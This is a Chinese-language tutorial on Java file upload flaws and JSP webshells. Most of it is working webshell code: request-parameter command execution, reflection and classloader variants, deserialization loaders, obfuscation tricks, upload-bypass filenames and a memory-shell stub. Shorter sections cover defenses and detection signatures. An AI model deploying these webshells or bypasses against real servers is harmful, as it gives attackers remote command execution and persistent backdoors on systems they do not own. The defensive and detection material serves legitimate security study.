Java 文件上传与JSP webshell
字数 1205 2025-08-07 00:35:04
Java 文件上传与JSP Webshell技术详解
一、Java文件上传基础
1. 文件上传核心机制
Java Web应用中文件上传通常通过以下方式实现:
- Servlet 3.0+ API:
Part接口处理multipart/form-data请求 - Apache Commons FileUpload:传统处理方式
- Spring MVC:
MultipartFile接口
2. 常见漏洞点
- 未校验文件类型(仅前端校验)
- 未限制文件扩展名
- 上传目录可执行权限
- 文件名未重命名或未过滤特殊字符
二、JSP Webshell实现方式
1. 直接命令执行
基础命令执行
<%= Runtime.getRuntime().exec(request.getParameter("cmd")) %>
改进版(获取输出)
<%
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line);
}
%>
反射调用方式
<%
Class clazz = Class.forName("java.lang.Runtime");
Method method = clazz.getMethod("getRuntime");
Object runtime = method.invoke(null);
Method execMethod = clazz.getMethod("exec", String.class);
Process process = (Process) execMethod.invoke(runtime, request.getParameter("cmd"));
// 处理输出...
%>
2. 类加载方式
定义恶意类
// EvilClass.java
public class EvilClass {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
}
JSP中加载
<%
byte[] classBytes = Base64解码的恶意类字节码;
ClassLoader loader = new ClassLoader() {
public Class define(byte[] b) {
return super.defineClass(b, 0, b.length);
}
};
Class evilClass = loader.define(classBytes);
%>
3. 反序列化利用
生成序列化payload
// 使用ysoserial等工具生成序列化payload
// java -jar ysoserial.jar CommonsCollections5 "calc" > payload.ser
JSP中反序列化
<%
ObjectInputStream ois = new ObjectInputStream(
new ByteArrayInputStream(Base64解码的序列化数据));
ois.readObject();
ois.close();
%>
三、高级绕过技术
1. 文件上传绕过
- 双扩展名绕过:
shell.jsp.jpg - 大小写绕过:
shell.Jsp - 空格绕过:
shell.jsp - 特殊字符绕过:
shell.jsp%00.jpg - Content-Type绕过:修改为
image/jpeg
2. Webshell混淆技术
字符串拆分
<%
String a = "Runt";
String b = "ime";
Class clazz = Class.forName("java.lang." + a + b);
%>
十六进制编码
<%= Runtime.getRuntime().exec("\x63\x61\x6c\x63") %>
Base64编码
<%
String cmd = new String(Base64.getDecoder().decode("Y2FsYw=="));
Runtime.getRuntime().exec(cmd);
%>
四、防御措施
1. 文件上传防护
- 白名单校验文件扩展名
- 校验文件内容魔数
- 上传目录设置为不可执行
- 文件重命名(UUID等)
- 使用安全框架(如Apache FileUpload的安全配置)
2. Webshell防护
- 禁用JSP脚本表达式(web.xml配置)
- 部署RASP防护
- 文件监控(校验关键目录文件变更)
- 禁用危险Java类(通过SecurityManager)
- 定期扫描Web目录
五、检测与排查
1. Webshell特征检测
- 常见危险函数调用:
Runtime.exec,ProcessBuilder - 反射调用特征:
Class.forName,Method.invoke - 类加载特征:
defineClass,ClassLoader - 反序列化特征:
ObjectInputStream
2. 排查工具
- 静态分析工具:FindBugs, Fortify
- 动态分析工具:RASP, 流量监控
- 专用检测工具:河马Webshell查杀, D盾
六、实战案例
1. 文件上传+JSP Webshell组合攻击流程
- 寻找文件上传点
- 绕过前端校验上传JSP文件
- 访问上传的JSP文件执行系统命令
- 建立持久化后门
2. 内存Webshell技术
<%
// 通过类字节码注册Filter/Servlet等组件
ServletContext context = request.getServletContext();
Field f = context.getClass().getDeclaredField("context");
f.setAccessible(true);
// 进一步操作注册内存马...
%>
附录:参考资源
- 三梦师傅GitHub项目
- OWASP文件上传指南
- Java安全编码规范
- ysoserial反序列化工具
以上内容完整涵盖了Java文件上传漏洞利用和JSP Webshell实现的关键技术点,包括基础实现、高级绕过、防御措施和检测方法,可作为完整的学习和参考文档使用。